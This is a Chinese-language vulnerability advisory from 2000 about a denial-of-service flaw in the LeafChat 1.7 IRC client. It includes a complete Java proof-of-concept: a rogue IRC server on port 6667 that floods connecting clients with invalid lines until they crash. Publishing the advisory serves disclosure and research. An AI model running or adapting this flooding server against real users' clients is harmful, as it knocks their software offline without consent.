发布日期：2000-06-28
更新日期：2000-06-28

受影响系统：

LeafDigital LeafChat 1.7
   - Microsoft Windows 98
   - Microsoft Windows 95

不受影响系统：

描述：

---

LeafChat是一个IRC客户端软件，如果从IRC server不断的发送一些无效数据给LeafChat客户端。
可能使它停止响应。必须重新启动这个应用程序才能重新恢复正常工作。

<* 来源： Andrew Lewis <wizdumb@UNIX.ZA.NET>
         http://www.mdma.za.net
*>




测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/* The MDMA Crew's Proof-of-concept code for the DoS affecting LeafChat
*
* When the LeafChat IRC client recieves invalid data from the server, it
* displays a dialog box with an error message. Should the server rapidly
* send invalid messages, the system soon becomes dangerously low in
* resources and commits harikiri. :-)
*
* Vendor Info: www.leafdigital.com/Software/leafChat
* Crew Info: www.mdma.za.net || wizdumb@mdma.za.net
*/

import java.io.*;
import java.net.*;

class leafMeAlone {

// Line below will have to be changed for Microsoft's Java VM - oops ;P
static void main(String[] args) throws IOException, UnknownHostException {

    ServerSocket shervshoq = null;
    PrintWriter white = null;
    Socket shmoeshoq = null;

    shervshoq = new ServerSocket(6667);
    System.out.print("Now listening on Port 6667... ");

    try {
      shmoeshoq = shervshoq.accept();
      white = new PrintWriter(shmoeshoq.getOutputStream(), true);
    } catch (IOException e) {
      System.out.println("Errors accepting connection, y0");
      System.exit(1); }

    System.out.print("Connection recieved\nCrashing client... ");
    for (;;) {
      white.println(".");
      if (white.checkError()) {
      System.out.println("Crashed");
      break; } } } }


建议：

---

暂无

浏览次数：8545
严重程度：0（网友投票）